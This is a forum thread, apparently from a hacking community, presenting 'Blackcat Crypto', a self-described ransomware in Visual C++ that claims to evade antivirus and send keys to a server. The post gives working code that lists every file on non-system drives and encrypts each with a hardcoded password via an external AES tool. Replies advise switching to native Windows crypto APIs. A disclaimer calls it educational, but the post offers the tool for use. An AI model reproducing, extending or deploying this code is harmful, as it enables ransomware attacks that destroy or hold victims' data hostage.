Crypto Locker Development : Blackcat Crypto : C++ & AES Crypt : 50 Lines of Code

tutorial
encryption
malware
programming
hacking

(AR) #1

** DISCLAIMER: OUR TOOLS ARE FOR EDUCATIONAL PURPOSES ONLY. DON’T USE THEM FOR ILLEGAL ACTIVITIES. YOU ARE THE ONLY RESPONSABLE FOR YOUR ACTIONS! OUR TOOLS ARE OPEN SOURCE WITH NO WARRANTY AND AS ARE.**

logon%20(1)

:sunglasses: Blackcat Crypto

Blackcat Crypto is open source Crypto-Locker. Blackcat Crypto is developed in Visual C++. It has features encrypt all file, lock down the system and send keys back to the server. Multi-threaded functionality helps to this tool make encryption faster.

99% Undetectable by Antivirus Tools.

In This With the help of C++ boost, libraries Get all Files links with Iterative Recursive Call. and AES Crpyt Program uses that files and Encrypt them with command line argument. I Use AesCrypt 64 Bit Console Based Tool. AesCrypt tool(64bit) is 99% Virus Free.

AesCrypt 64Bit

Recursive File Encrpter Main Program

Step 1: (Fetch files)

Getting all files from all drive to encrypting them.
Here is Visual C++ program get all list directory & files in drive and store path in a text file for encryption later use. I use Boost C++ libraries to get all files list. Please, the first setup Boost libraries to compile the program.

#include <boost/config/warning_disable.hpp>
#include <boost/filesystem.hpp>
#include <iostream>
#include <iterator>
#include <stdio.h>
#include <windows.h>

using namespace std;

fstream out_file("data.txt", ios::out);

#define MAX 256

int main(int argc, char* argv[]) {

	int dr_type = 99;
	char dr_avail[MAX];
	char *temp = dr_avail;

	/* 1st we fill the buffer */
	GetLogicalDriveStrings(MAX, dr_avail);
	while (*temp != NULL) { // Split the buffer by null
		dr_type = GetDriveType(temp);

		char skip[10] = "C:\\";

		if (dr_type == 3 && temp[0] != 'C') {

			boost::system::error_code dir_error;

			for (boost::filesystem::recursive_directory_iterator end, dir(temp, dir_error); dir != end; dir.increment(dir_error)) {
				if (dir_error.value()) {
					cerr << "Error accessing file: " << dir_error.message() << endl;
				}
				else {
					cout << dir->path() << endl;
					out_file << dir->path() << "\n";
				}
			}
		}
		temp += lstrlen(temp) + 1;
	}
	out_file.close();
	system("pause");

Step 2 (Encrypt files)

Here firstly I get every file path from “data.txt” line by line and send to this crypy tool with type encryption and password. you can also embed all this program in upper loop for getting path and encrypting data recursively.

out_file.open("data.txt", ios::in);
	string line;
	while (out_file.good()) {
		getline(out_file, line);
		cout << line << endl;
		std::string cmmd = "crpt.exe -e -p 4321 ";
		cmmd += line;
		system(cmmd.c_str());
	}

Currently in Development

View Project on Github https://github.com/ajayrandhawa/Blackcat-Crypto

If You Like Program Hit :star::star::star::star: on Github


#2

why not use winapi instead of boost ?
and also use winapi or something else to encrypt in your own exe

check out win cryptoapi [msdn cryptoapi]


(AR) #3

Boost Libraries use for iterative File Path getting.


#4

you can also do that natively with the winapi
[msdn link]

msdn is your best friend for windows programming :wink: